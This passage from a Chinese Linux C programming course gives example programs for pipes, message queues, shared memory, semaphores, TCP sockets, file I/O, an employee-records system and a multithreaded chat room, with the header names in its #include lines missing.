    	if((fp=fopen(FIFO_FILE,"r"))==NULL)/*如果命名管道文件不存在,要先创建一个*/
    	{
    		umask(0);//清除文件创建时权限位的屏蔽作用
    		mknod(FIFO_FILE,S_IFIFO|0666,0);//创建FIFO文件
    		printf("create new fifo successed. \n");
    	}
    	else
     		fclose(fp);
    
    	while(1)
    	{
    		if((fp=fopen(FIFO_FILE,"r"))==NULL)/*打开命名管道文件*/	
     		{
    			printf("open fifo failed. \n");
    			exit(1);
    		}
    
    		if(fgets(readbuf,80,fp)!=NULL)/*从命名管道文件中读数据*/
    		{
    			printf("Received string :%s \n", readbuf);
    			fclose(fp);
    		}
    		else
    		{
    			if(ferror(fp))
    			{
    				printf("read fifo failed.\n");
    				exit(1);
    			}
    		}
    	}
    	return 0;
    }
    

2.2 消息队列

使用消息队列机制实现发送接收消息的操作。

  • 在一个终端窗口中运行msg-send程序,然后再在另外一个终端窗口运行msg-recieve程序。
  1. /*msg-send.c */

    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    
    struct my_msg//消息的组成
    {
    	long int my_msg_type;//消息的类型域
    	char text[BUFSIZ];//消息传递的数据域
    } msgbuf;
    
    int main()
    {
    	int running =1;
    	int msgid;
    	msgid=msgget((key_t)1234,0666 |IPC_CREAT);//打开key值为1234的消息队列,如不存在则创建之
    	if(msgid==-1)
    	{
    		printf("msgget failed!\n");
    		exit(1);
    	}
    	while(running)
    	{
    		printf("Enter some text: ");
    		fgets(msgbuf.text,BUFSIZ,stdin);//读入键盘输入的消息
    		msgbuf.my_msg_type=1;	
    		if(msgsnd(msgid,(void *)&msgbuf, BUFSIZ, 0)==-1)//发送消息
    		{
    			printf("msgsnd failed!\n");
    			exit(1);
    		}
    		if(strncmp(msgbuf.text,"end",3)==0)//输入end表示程序结束
    			running=0;
    	}
           
    	return 0;
    }
    
  2. /*msg-recieve.c */

    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    
    struct my_msg//消息的组成
    {
    	long int my_msg_type;//消息的类型域
    	char text[BUFSIZ];//消息传递的数据域
    } msgbuf;
    
    int main()
    {
    	int running =1;
    	int msgid;
    	long int msg_to_receive=0;
    	msgid=msgget((key_t)1234,0666 |IPC_CREAT);//打开key值为1234的消息队列,如不存在则创建之
    	if(msgid==-1)
    	{
    		printf("msgget failed!\n");
    		exit(1);
    	}
    	while(running)
    	{
    		if(msgrcv(msgid,(void *)&msgbuf, BUFSIZ,msg_to_receive, 0)==-1)//接收消息
    		{
    			printf("msgrcv failed!\n");
    			exit(1);
    		}
    		printf("You wrote : %s", msgbuf.text);
    		if(strncmp(msgbuf.text,"end",3)==0)//收到end表示程序结束
    			running=0;
    	}
    	if(msgctl(msgid, IPC_RMID, 0)==-1)//删除消息队列
    	{
    		printf("msgct(IPC_RMID)  failed!\n");
    		exit(1);
    	}
    	return 0;
    }
    

2.3 共享内存

使用共享内存机制实现通信:

  • 在一个终端窗口中先运行shm-write程序,然后再在另外一个终端窗口运行shm-read程序。
  1. /*shm-write.c */

    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    
    int main()
    {
    	int 	shmid;
    	char 	c;
    	char 	*shmptr, *s;
    	if((shmid=shmget(1234,256,IPC_CREAT | 0666))<0)//打开key值为1234的共享内存,如不存在则创建之
    	{
    		printf("shmget failed.\n");
    		exit(1);
    	}
    	if((shmptr=shmat(shmid,0,0))==(char*)-1)//附加此共享内存至自己的地址空间,返回内存区域的指针
    	{
    		shmctl(shmid, IPC_RMID, (struct shmid_ds*)shmptr);		
    		printf("shmat failed.\n");
    		exit(2);
    	}
    	s=shmptr;// 写共享内存通过指针s操作
    	for(c='a';c<='z';c++)//写入26个字母
    		*s++=c;
    	s='\0';
    	while(*shmptr!='*')//等待直到读进程已写入“*”表示读完数据
    		sleep(1);
    	shmctl(shmid, IPC_RMID, (struct shmid_ds*)shmptr);//删除共享内存		
    	return 0;
    }
    
  2. /*shm-read.c */

    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    
    
    int main()
    {
    	
    	int 	shmid;
    	char 	c;
    	char	*shmptr, *s;
    	if((shmid=shmget(1234,256, 0666))<0)//打开key值为1234的共享内存
    	{
    		printf("shmget failed.\n");
    		exit(1);
    	}
    	if((shmptr=shmat(shmid,0,0))==(char*)-1)//附加此共享内存至自己的地址空间
    	{
    		shmctl(shmid,IPC_RMID,(struct shmid_ds*)shmptr);	
    		printf("shmat failed.\n");
    		exit(2);
    	}
    	for(s=shmptr;*s!='\0';s++)//读出26个字母
    		putchar(*s);
    	printf("\n");
    	*shmptr='*';//写入“*”到共享内存表示读完数据
    	return 0;
    }
    

2.4 信号量 - 同步

使用信号量机制PV操作来同步的共享内存机制通信:

  • 由于多个进程对同一块内存区域具有访问的权限,进程之间的同步就非常重要;
  • 共享内存机制可以直接读取内存,所以其通信效率高于管道和消息队列。
  1. /*semshm-write.c */

    #include "2-4semshm-.h"
    
    int main(int argc, char** argv)
    {
        int semid, shmid;
        char *shmaddr;
        char write_str[SHM_SIZE];
        char *ret;
        if((shmid = creatshm(".", 57, SHM_SIZE)) == -1) //创建或者获取共享内存
            return -1;
    /*建立进程和共享内存连接*/
        if((shmaddr = shmat(shmid, (char*)0, 0)) == (char *)-1){
            perror("attch shared memory error!\n");
            exit(1);
        }    
        if((semid = creatsem("./", 39, 1, 1)) == -1)//创建信号量
            return -1;
        while(1){
            wait_sem(semid, 0);//等待信号量可以被获取
            sem_p(semid, 0);  //获取信号量
    /***************写共享内存***************************************************/
            printf("write : ");
            ret = fgets(write_str, 1024, stdin);
            if(write_str[0] == '#') // '#'结束读写进程
                break;
            int len = strlen(write_str);
            write_str[len] = '\0';
            strcpy(shmaddr, write_str);
    /****************************************************************************/
            sem_v(semid, 0); //释放信号量
            usleep(1000);  //本进程睡眠.
        }
        sem_delete(semid); //把semid指定的信号集从系统中删除
        deleteshm(shmid);   //从系统中删除shmid标识的共享内存
        return 0;
    }
    
  2. /*semshm-read.c */

    #include "2-4semshm-.h"
    
    int main(int argc, char** argv)
    {
        int semid, shmid;
        char *shmaddr;
        if((shmid = creatshm(".", 57, SHM_SIZE)) == -1)
            return -1;
        if((shmaddr = shmat(shmid, (char*)0, 0)) == (char *)-1){
            perror("attch shared memory error!\n");
            exit(1);
        }
        if((semid = opensem("./", 39)) == -1)
            return -1;
        printf("read start....................\n");        
        while(1){
            printf("read : ");
            wait_sem(semid, 0);  //等待信号量可以获取
            if(sem_p(semid, 0) == -1) //获取信号量失败退出。当server写入'#'时引发
                break;
            printf("%s", shmaddr);
    
            sem_v(semid, 0);
            usleep(1000);
        }    
        return 0;
    }
    
  3. /*semshm-.h */

    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    
    #define SHM_SIZE     1024
    
    union semun{
        int val;
        struct semid_ds *buf;
        unsigned short *array;
        struct seminfo *buf_info;
        void *pad;
    };
    
    /* 创建信号量函数*/
    int creatsem(const char *pathname, int proj_id, int members, int init_val)
    {
        key_t msgkey;
        int index, sid;
        union semun semopts;
        
        if((msgkey = ftok(pathname, proj_id)) == -1){//利用ftok函数生成键值,自行指定的键值可能会冲突
            perror("ftok error!\n");
            return -1;
        }
        if((sid = semget(msgkey, members, IPC_CREAT|0666)) == -1){//打开键值为msgkey的信号量集,如不存在则创建之,返回信号量集标识符。members为信号量集中含信号量的数目。
            perror("semget call failed.\n");
            return -1;
        }
        semopts.val = init_val;
        for(index = 0; index < members; index++){
            semctl(sid, index, SETVAL, semopts);
        }
        
        return sid;
    }
    
    int opensem(const char *pathname, int proj_id)
    {
        key_t msgkey;
        int sid;
        
        if((msgkey = ftok(pathname, proj_id)) == -1){
            perror("ftok error!\n");
            return -1;
        }
        
        if((sid = semget(msgkey, 0, 0666)) == -1){
            perror("open semget call failed.\n");
            return -1;
        }
        return sid;
    }
    
    /* p操作, 获取信号量*/
    int sem_p(int semid, int index)
    {
        struct sembuf sbuf = {0, -1, IPC_NOWAIT};//每个sembuf结构描述了一个对信号量的操作
        if(index < 0){
            perror("index of array cannot equals a minus value!\n");
            return -1;
        }
        sbuf.sem_num = index;
        if(semop(semid, &sbuf, 1) == -1){
            perror("A wrong operation to semaphore occurred!\n");
            return -1;
        }
        return 0;
    }
    
    /* V操作, 释放信号量*/
    int sem_v(int semid, int index)
    {
        struct sembuf sbuf = {0, 1, IPC_NOWAIT};//每个sembuf结构描述了一个对信号量的操作
        if(index < 0){
            perror("index of array cannot equals a minus value!\n");
            return -1;
        }
        sbuf.sem_num = index;
        if(semop(semid, &sbuf, 1) == -1){
            perror("A wrong operation to semaphore occurred!\n");
            return -1;
        }
        return 0;
    }
    
    /* 删除信号量*/
    int sem_delete(int semid)
    {
        return (semctl(semid, 0, IPC_RMID));
    }
    
    /* 等待信号量*/
    int wait_sem(int semid, int index)
    {
        while(semctl(semid, index, GETVAL, 0) == 0)
        {
            usleep(500);
        } 
        return 1;
    
    }
    
    /* 创建共享内存*/
    int creatshm(char *pathname, int proj_id, size_t size)
    {
        key_t shmkey;
        int sid;
        
        if((shmkey = ftok(pathname, proj_id)) == -1){
            perror("ftok error!\n");
            return -1;
        }
        if((sid = shmget(shmkey, size, IPC_CREAT|0666)) == -1){
            perror("shm call failed!\n");
            return -1;
        }
        return sid;
    }
    
    /* 删除共享内存*/
    int deleteshm(int sid)
    {
        void *p = NULL;
        return (shmctl(sid, IPC_RMID, p));
    }
    

Ⅲ 网络编程及文件操作

3.1 套接口

  1. 使用面向连接的套接口实现通信

    套接口方式不仅可以实现单机内进程间通信,还可以实现不同计算机进程之间通信。

    • 先运行tcp-server程序,端口号作为参数,实现server程序的监听。
    • 再运行tcp-client程序,以server所在的“ip地址127.0.0.1”或“主机名(localhost)”为第一参数,相同的端口号作为第二参数连接server

    (1)/*tcp-server.c */

    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #define MAXSIZE 1024     /*定义数据缓冲区大小*/
    
    int main(int argc, char *argv[])
    {
    	int sockfd,new_fd;   /*定义存放套接口描述符的变量 */
    	struct sockaddr_in server_addr;   /*定义服务器端套接口数据结构server_addr */
    	struct sockaddr_in client_addr;   /*定义客户端套接口数据结构client_addr */
    	int sin_size,portnumber;
    	char buf[MAXSIZE];     /*定义发送数据缓冲区*/
    	if(argc!=2)
    	{
    		fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]);
    		exit(1);
    	}
    	if((portnumber=atoi(argv[1]))<0)
    	{  /*获得命令行的第二个参数--端口号,atoi()把字符串转换成整型数*/
    		fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]);
    		exit(1);
    	}
    	if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)/*服务器端开始建立socket描述符*/
    	{
    		fprintf(stderr,"Socket error:%s\n\a",strerror(errno));
    		exit(1);
    	}
    	/*服务器端填充 sockaddr结构*/
    	bzero(&server_addr,sizeof(struct sockaddr_in)); /*先将套接口地址数据结构清零*/
    	server_addr.sin_family=AF_INET;/*设为TCP/IP地址族*/
    	server_addr.sin_addr.s_addr=htonl(INADDR_ANY);/*设置本机地址并从主机字节序转换为网络字节序*/
    	server_addr.sin_port=htons(portnumber);/*设置端口号并从主机字节序转换为网络字节序*/
    	if(bind(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1)/*调用bind函数绑定指定的端口号和ip地址到服务器创建的套接口*/
    	{
    		fprintf(stderr,"Bind error:%s\n\a",strerror(errno));
    		exit(1);
    	}
    	if(listen(sockfd,5)==-1)  /*端口绑定成功,监听sockfd描述符,设置同时处理的最大连接请求数为5 */
    	{
    		fprintf(stderr,"Listen error:%s\n\a",strerror(errno));
    		exit(1);
    	}
    	while(1)      /*服务器阻塞,等待接收连接请求,直到客户程序发送连接请求*/
    	{
    		sin_size=sizeof(struct sockaddr_in);
    		if((new_fd=accept(sockfd,(struct sockaddr *)(&client_addr),&sin_size))==-1)	  /*调用accept接受一个连接请求并返回一个新的套接口描述符*/			
    		{
    			fprintf(stderr,"Accept error:%s\n\a",strerror(errno));
    			exit(1);
    		}
    		fprintf(stderr,"Server get connection from %s\n",(inet_ntoa(client_addr.sin_addr)));   /*TCP连接已建立,打印申请连接的客户机的IP地址,IP地址从网络字节序转换为十进制数*/	
    		printf("Connected successful, please input the masage[<1024 bytes]:\n");    /*提示用户输入将要发送的数据,长度小于缓冲区的长度,即1024字节*/
           		
    		if(fgets(buf, sizeof(buf), stdin) != buf) /*从标准输入即键盘输入的数据存放在buf缓冲区*/
    		{  
             		printf("fgets error!\n");
             		exit(1);
    		}
    		if(write(new_fd,buf,strlen(buf))==-1)   /*调用write发送数据*/
    		{
    			fprintf(stderr,"Write Error:%s\n",strerror(errno));
    			exit(1);
    		}
    		close(new_fd);  /*本次通信已结束,关闭客户端的套接口,并循环下一次等待*/
    	}
    	close(sockfd);  /*服务器进程结束,关闭服务器端套接口*/
    	exit(0);
    }
    

    (2)/*tcp-client.c */

    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    
    int main(int argc, char *argv[])
    {
    	int sockfd;
    	char buffer[1024];
    	struct sockaddr_in server_addr; /*定义服务器端套接口数据结构server_addr */
    	struct hostent *host;/*定义一个hostent结构的指针 */
    	int portnumber,nbytes;
    	if(argc!=3)
    	{
    		fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]);
    		exit(1);
    	}
    	if((host=gethostbyname(argv[1]))==NULL)/*通过域名或主机名得到包含地址的hostent指针 */
    	{  /*获得命令行的第二个参数-主机名*/
    		fprintf(stderr,"Gethostname error\n");
    		exit(1);
    	}
    	if((portnumber=atoi(argv[2]))<0)
    	{  /*获得命令行的第三个参数--端口号,atoi()把字符串转换成整型数*/
    		fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]);
    		exit(1);
    	}
    	/* 客户程序开始建立 sockfd描述符 */
    	if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
    	{
    		fprintf(stderr,"Socket Error:%s\a\n",strerror(errno));
    		exit(1); 
    	} 
    	/*客户程序填充服务端的资料*/
    	bzero(&server_addr,sizeof(server_addr));
    	server_addr.sin_family=AF_INET;
    	server_addr.sin_port=htons(portnumber);
    	server_addr.sin_addr=*((struct in_addr *)host->h_addr);
    	/*客户程序发起连接请求*/
    	if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1)
    	{
    		fprintf(stderr,"Connect Error:%s\a\n",strerror(errno));
    		exit(1);
    	}
    	/*连接成功,调用read读取服务器发送来的数据*/
    	if((nbytes=read(sockfd,buffer,1024))==-1)
    	{
    		fprintf(stderr,"Read Error:%s\n",strerror(errno));
    		exit(1);
    	} 
    	buffer[nbytes]='\0';
    	printf("I have received:%s\n",buffer);   /*输出接收到的数据*/
    	close(sockfd);   /*结束通信*/ 
    	exit(0);
    }
    

3.2 文件描述符

  1. 基于文件描述符的操作

    程序中创建出的文件,可使用“od -td1 -tc -Ad 文件名”方式查看其内容结构。

    • -td1选项表示将文件中的字节以十进制的形式列出来,每组一个字节。

    • -tc选项表示将文件中的ASCII码以字符形式列出来。

    • 输出结果最左边的一列是文件中的地址,

      -Ad选项要求以十进制显示文件中的地址。

    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    
    #define FILENAME "test"    /*要进行操作的文件*/
    #define FLAGS O_WRONLY | O_CREAT | O_TRUNC
    /*定义参数FLAGS:以读写方式打开文件,向文件添加内容时从文件尾开始写*/
    #define MODE 0600
    
    int main(void)
    {
        char buf1[ ] = {"abcdefghij"};    /*缓冲区1,长度为10*/
        char buf2[ ] = {"1234567890"};  /*缓冲区2,长度为10*/
        int fd;                       /*文件描述符*/
        int count;
        const char *pathname = FILENAME;    /*指向需要进行操作的文件的路径名*/
        if((fd=open(pathname,FLAGS,MODE))==-1)   /*调用open函数打开文件*/
         {
            printf("error,open file failed!\n");
            exit(1);   /*出错退出*/
         }
        count = strlen(buf1);                /*缓冲区1的长度*/
        if(write(fd,buf1,count)!=count)       /*调用write函数将缓冲区1的数据写入文件*/
        {
           printf("error,write file failed!\n");
           exit(1);   /*写出错,退出*/
        }
        system("cat test");//使用cat命令显示文件内容
        printf("\n");
    
        if(lseek(fd,5,SEEK_SET)==-1) 
        /*调用lseek函数定位文件,偏移量为5,从文件开头计算偏移值*/
        {
           printf("error,lseek failed!\n");
           exit(1);   /*出错退出*/
        }
        count = strlen(buf2);                /*缓冲区2的长度*/
        if(write(fd,buf2,count)!=count)       /*调用write函数将缓冲区2的数据写入文件*/
        {
           printf("error,write file failed!\n");
           exit(1);   /*写出错,退出*/
        }
        system("cat test");//使用cat命令显示文件内容
        printf("\n");
        return 0;
    }
    

3.3 基于流的 I/O 操作

  1. 打开、关闭 - 文件流的操作

    基于流的I/O操作比基于文件描述符的I/O操作更简单方便一些。
    参阅《LinuxC编程一站式学习》第25章C标准库第2节标准IO库函数的内容。

    #include 
    #include 
    #include 
    
    int main(void)
    {
        FILE *fp;
        int fd;
        
        if( (fp = fopen("hello.txt", "w")) == NULL)
        {   /*以只写方式打开文件,并清空文件。若没有此文件,则创建它。路径为当前目录下,也可使用绝对路径。打开成功返回文件指针。--基于流的方式*/
            printf ("fail to open 1!\n");
            exit(1);          /*出错退出*/
        }
        fprintf(fp, "Hello! I like Linux C program!\n"); 
            /*向该流输出一段信息,这段信息会保存到打开的文件上,形成文件文件*/
        fclose(fp);               /*操作完毕,关闭流*/
        
        if( (fd = open("hello.txt", O_RDWR)) == -1)
          {  /*以读写的方式打开文件--基于文件描述符的方式*/
             printf ("fail to open!\n");
             exit(1);         /*出错退出*/
          }
        
        if((fp = fdopen(fd, "a+")) == NULL)
          {  /*在打开的文件上打开一个流,基于已存在的文件描述符打开流,并从文件尾开始读写。*/
            /*其中w代表write,r代表read,a代表append,+代表更新*/
             printf ("fail to open stream!\n");
             exit(1);         /*出错退出*/
          }
        fprintf(fp, "I am doing Linux C programs!\n");
             /*向该流输出一段信息,这段信息会保存到打开的文件上*/
        fclose(fp);             /*关闭流,文件也被关闭*/
        system("cat hello.txt");//使用cat命令显示文件内容
        return 0;
    }
    

3.4 流文件

  1. 流文件指针位置的定位操作

    程序中创建出的文件非纯文本文件,可使用“od -td1 -tc -Ad 文件名”方式查看其内容

    #include 
    #include 
    #include 
    #include 
    
    struct stu
    {
    	char name[10];
    	int age;	
    };
    
    int main(void)
    {
       struct stu mystu[3]={{"Jim",14},{"Jam",15},{"Lily",19}};
       struct stu mystuout;
       FILE *fp;
       extern int errno; 
       char file[]="record.txt";
       int i,j;
       long k;
       fpos_t pos1,pos2;
      
       fp=fopen(file,"w");
       if(fp==NULL)
       {
       	  printf("cant't open file %s.\n",file);
       	  printf("errno:%d\n",errno);
       	  printf("ERR  :%s\n",strerror(errno));
       	  return(1);
       	}
       	else
       	{
       		printf("%s was opened.\n",file);   		
    	}
     
        i=fwrite(mystu,sizeof(struct stu),3,fp);//创建的文件内容为二进制文件,非纯文本文件.
        printf("%d students was written.\n",i);
        fclose(fp);
    
    /*以下为按指定要求读出记录*/
    
       fp=fopen(file,"r");
       if(fp==NULL)
       {
       	  printf("cant't open file %s.\n",file);
       	  printf("errno:%d\n",errno);
       	  printf("ERR  :%s\n",strerror(errno));
       	  return(1);
       }
    
    
       k=ftell(fp);//ftell函数可得到当前文件指针位置
       printf("当前指针位置为%ld .\n",k);
    
       fseek(fp,1*sizeof(struct stu),SEEK_SET);//从文件开始(SEEK_SET)移动指针至1个结构体的偏移量
       
       fgetpos(fp,&pos1);//另外一种得到当前文件指针位置的方法
       printf("移动指针后的当前指针位置为%f .\n",(float)pos1.__pos);
      
       j=fread(&mystuout,sizeof(struct stu),1,fp);//从文件流中读1个结构体的长度的内容至mystuout
       printf("%d students was read.\n",j);
       printf("NAME:%s\tAGE:%d\n",mystuout.name,mystuout.age);
    
       k=ftell(fp);//得到当前文件指针位置
       printf("读出记录后的当前指针位置为%ld .\n",k);
    
       j=fread(&mystuout,sizeof(struct stu),1,fp);
       printf("%d students was read.\n",j);
       printf("NAME:%s\tAGE:%d\n",mystuout.name,mystuout.age);
    
       pos2.__pos=(long)(1*sizeof(struct stu));//设置移动量为一个结构体
       fsetpos(fp,&pos2);//另外一种移动文件指针位置的方法
      
       k=ftell(fp);
       printf("再次移动指针后的当前指针位置为%ld .\n",k);
    
       j=fread(&mystuout,sizeof(struct stu),1,fp);
       printf("%d students was read.\n",j);
       printf("NAME:%s\tAGE:%d\n",mystuout.name,mystuout.age);
    
       k=ftell(fp);
       printf("再次读记录后的当前指针位置为%ld .\n",k);
    
       fclose(fp);
    
    }
    

3.5 实践案例 —— 员工档案管理系统

一个简单的员工档案管理系统,可以实现简单的员工资料增加、删除及查询。

#include 
#include 
#include 

#define ARFILE "./usr.ar"//指定档案文件的路径名称

struct arstruct//员工资料结构
{
    char name[10];
    int age;
    char tele[21];
};


/*删除员工函数==================================*/
void removeuser()
{
    char name[10];
    struct arstruct ar;
    FILE *fp;
    FILE *fpn;
    if((fpn = fopen("./tmpfile","w")) == NULL)
    {
        return;
    }
    if((fp = fopen(ARFILE,"r")) == NULL)
    {
        return;
    }
    memset(&ar,0x00,sizeof(ar));//清空结构
    printf("请输入员工姓名:");
    memset(name,0x00,sizeof(name));
    scanf("%s",name);
    while(fread(&ar,sizeof(ar),1,fp) == 1)//循环复制,与输入姓名相匹配的不复制
    {
        if(strcmp(name,ar.name) != 0)
        {
            fwrite(&ar,sizeof(ar),1,fpn);//不相同,则复制
        }
        memset(&ar,0x00,sizeof(ar));
    }
    fclose(fp);
    fclose(fpn);
    remove(ARFILE);//删除原档案文件
    rename("./tmpfile",ARFILE);//复制好的新文件重命名为档案文件
    printf("删除员工资料成功,按任意键继续...\n");

    getchar();//清楚缓冲区残留的\n
    getchar();//等待回车
}

/*查询员工函数==================================*/
void queryuser()
{
    int found;
    char name[10];
    struct arstruct ar;
    FILE *fp;
    if((fp = fopen(ARFILE,"r")) == NULL)
    {
        return;
    }
    memset(&ar,0x00,sizeof(ar));
    printf("请输入员工姓名:");
    memset(name,0x00,sizeof(name));
    scanf("%s",name);
    found=0;
    while(fread(&ar,sizeof(ar),1,fp) == 1)
    {
        if(strcmp(name,ar.name) == 0)
        {
            found=1;
            break;
        }
        memset(&ar,0x00,sizeof(ar));
    }
    fclose(fp);
    if(found)
    {
        printf("姓名=%s\n",ar.name);
        printf("年龄=%d\n",ar.age);
        printf("手机=%s\n",ar.tele);
    }
    else
    {
        printf("没有员工%s的数据\n",name);
    }

    getchar();//清楚缓冲区残留的\n
    getchar();//等待回车
}

/*增加员工函数==================================*/
void insertuser()
{
    struct arstruct ar;
    FILE *fp;
    if((fp = fopen(ARFILE,"a")) == NULL)
    {
        return;
    }
    memset(&ar,0x00,sizeof(ar));
    printf("请输入员工姓名:");
    scanf("%s",ar.name);
    printf("请输入员工年龄:");
    scanf("%d",&(ar.age));
    printf("请输入员工手机号码:");
    scanf("%s",ar.tele);
    if(fwrite(&ar,sizeof(ar),1,fp) < 0)
    {
        perror("fwrite");
        fclose(fp);
        return;
    }
    fclose(fp);
    printf("增加新员工成功,按任意键继续...\n");

    getchar();//清楚缓冲区残留的\n
    getchar();//等待回车
}

/*主程序,输出结果==================================*/
int main(void)
{
    char c;
    while(1)
    {
        printf("\033[2J");//清屏。也可使用system("clear")  
        printf("     *员工档案管理系统*\n");
        printf("---------------------------\n");
        printf("     1.录入新员工档案      \n");
        printf("     2.查看员工档案          \n");
        printf("     3.删除员工档案          \n");
        printf("     0.退出系统            \n");
        printf("---------------------------\n");
        switch((c=getchar()))
        {
            case '1':
                insertuser();
                break;
            case '2':
                queryuser();
                break;
            case '3':
                removeuser();
                break;
            case '0':
                return 0;
            default:
                break;
        }
    }
}

Ⅳ 综合应用

4.1 简易聊天室平台模拟

由于线程pthread库不是Linux系统默认的库,连接时需要使用库libpthread.a,所以程序中有使用pthread_create,在编译中要加 -lpthread 参数:

gcc server.c -o server -lpthread 
gcc client.c -o client -lpthread 
  1. server

    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #define MAXLINE 1000 //在一条消息中最大的输出字符数
    #define LISTENQ 20 //最大监听队列
    #define PORT 5000 //监听端口
    #define MAXFD 20 //最大的在线用户数量
    
    void *get_client(void *);
    FILE *fp;
    int i,maxi=-1;//maxi表示当前client数组中最大的用户的i值
    int client[MAXFD];
    int main(void)
    {
    int connfd,listenfd,sockfd; //connfd存放accept函数的返回值,listenfd表示监听的套接口,
    //sockfd用于遍历client的数组
    socklen_t length;
    fp=fopen("student.txt","w");
    struct sockaddr_in server;
    struct sockaddr tcpaddr;
    pthread_t tid;
    listenfd=socket(AF_INET,SOCK_STREAM,0); //建立套接口并监听
    if(listenfd<0){
    printf("建立套接口错误\n");
    exit(1);
    }
    memset(&server,0,sizeof(server));
    server.sin_family=AF_INET;
    server.sin_port=htons(PORT);
    server.sin_addr.s_addr=htonl(INADDR_ANY);
    if( bind(listenfd,(struct sockaddr*)&server,sizeof(server))<0 )
    {
    printf("绑定套接口失败\n");
    exit(1); //绑定套接口
    }
    length=sizeof(server);
    if(getsockname(listenfd,(struct sockaddr*)&server,&length)<0)
    {
    printf("取服务器的端口号失败\n"); //取得服务器的端口号
    exit(1);
    }
    for(i=0;i<MAXFD;i++)
    client[i]=-1; //initialize the client column
    listen(listenfd, LISTENQ);
    printf("服务器监听端口 %d...\n", ntohs(server.sin_port));
    printf("欢迎来到本聊天室\n");
    //等待用户链接.
    for(;;)
    {
    connfd=accept(listenfd, &tcpaddr, &length);
    for(i=0;i<MAXFD;i++)
    if(client[i]<0)
    {
    client[i]=connfd;
    break;
    } //用户链接成功后,在client数组中保存用户套接口号
    if(i==MAXFD-1)
    {
    printf("达到在线用户最大值\n"); //若此时以达到用户最大值,则退出链接
    exit(0);
    }
    if(i>maxi) maxi=i;
    pthread_create(&tid,NULL,&get_client,(void *)(intptr_t)connfd); //若链接成功,为此用户创建一个新线程
    } //运行get_client函数,处理用户请求
    }
    void *get_client(void *sockfd) //get_client函数
    {
    char buf[MAXLINE];
    int rev;
    if (((intptr_t)sockfd)<0)
    printf("\n新用户进入聊天室失败\n");
    else
    {
    printf("\n新用户进入聊天室...\n");
    do
    {
    memset(buf,0,sizeof(buf)); //初始化buffer
    if ((rev = recv((intptr_t)sockfd,buf,1024,0))<0)
    printf("\n读取用户消息失败\n");
    if (rev==0)
    printf("\n用户终止链接\n");
    else
    {
    printf("%s\n", buf); //若无异常,输出此用户消息
    for(i=0;i<=maxi;i++)
    send(client[i],buf,strlen(buf)+1,0);//将刚收到的用户消息分发给其他各用户
    fputs(buf,fp);
    }
    }while (rev != 0);//当不再受到用户信息时,终止循环并且关闭套接口
    fclose(fp);
    }
    close((intptr_t)sockfd);
    return(NULL);
    }
    
  2. client

    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #define TRUE 1
    #define PORT 5000
    int quit=0; //quit表示是否用户确定退出
    void *get_server(void *);
    int main(void)
    {
    int connfd,snd,slenth;
    struct sockaddr_in server;
    struct hostent *hp;
    char honame[20],msg2[1024],msg1[1024],cln[102],qstr[]={"Quit"}; //qstr的值表示用户在输入"Quit"时和服务器断开链接
    pthread_t tid;
    printf("请输入服务器IP地址\n");
    scanf("%s*",honame);
    printf("正在建立套接口...\n");
    if((connfd= socket(AF_INET, SOCK_STREAM, 0))<0) //建立套接口
    printf("建立套接口失败\n");
    if ((hp= gethostbyname(honame))== NULL) //获取服务器IP地址
    {
    printf("获取服务器IP地址失败\n");
    exit(1);
    }
    else printf("套接口建立成功,链接服务器中...\n");
    memcpy(&server.sin_addr,hp->h_addr,hp->h_length); //将服务器IP地址放入结构体server中
    server.sin_family = AF_INET;
    server.sin_port=htons(PORT);
    if(connect(connfd,(struct sockaddr*)&server,sizeof(server))<0) //链接套接口 
    {
    printf("链接服务器失败\n");
    exit(1);
    }
    printf("链接服务器成功\n"); //链接成功显示成功的登录信息
    printf("欢迎来到聊天室\n");
    //聊天室
    printf("请输入你的用户昵称\n");
    scanf("%s",msg1);
    slenth=strlen(msg1);
    msg1[slenth]=':';
    msg1[slenth+1]='\0';
    strcpy(cln,msg1); //保存用户昵称在名为cln的数组中
    pthread_create(&tid,NULL,&get_server,(void *)(intptr_t)connfd);//为客户端创建一个线程用于监听,调用get_server函数
    printf("\n开始聊天吧 (\"Quit\"断开链接)\n");
    while(TRUE)
    {
    printf("\n");
    scanf("%s",msg2);
    if(strcmp(msg2,qstr)==0)
    {
    close(connfd);
    quit=1; //若用户输入"Quit"字符则关闭发送套接口,并将quit置为1
    }
    else
    {
    strcat(msg1,msg2);//将消息前加上用户昵称
    snd=send(connfd,msg1,strlen(msg1)+1,0);//否则发送消息给服务器
    strcpy(msg1,cln);
    if(snd<0)
    printf("\n发送错误\n");
    }
    }
    }
    void *get_server(void* sockfd) //get_server函数,用于接受服务器转发的消息
    {
    char buf[1024];
    int rev;
    if(((intptr_t)sockfd)<0)
    printf("\n接受服务器消息失败\n");
    else
    {
    printf("\n\007\n");
    for(;;)
    {
    if(!quit)//只要quit不为1,则一直接受服务器消息
    {
    if ((rev = recv((intptr_t)sockfd,buf,1024,0))>0)
    printf("\n\007%s\n", buf);
    if (rev==0)
    {
    printf("\n服务器终止链接\n");
    quit=1;
    continue;
    }
    printf("\n");
    }
    else
    {
    close((intptr_t)sockfd);//关闭此套接口
    break;
    }
    }
    return(NULL);
    }
    }
    

4.2 教室申请应用模拟

4.3 简易售票系统模拟

4.4 简易售货系统模拟

三、课程实践

Ⅰ 进程管理

1.1 题目

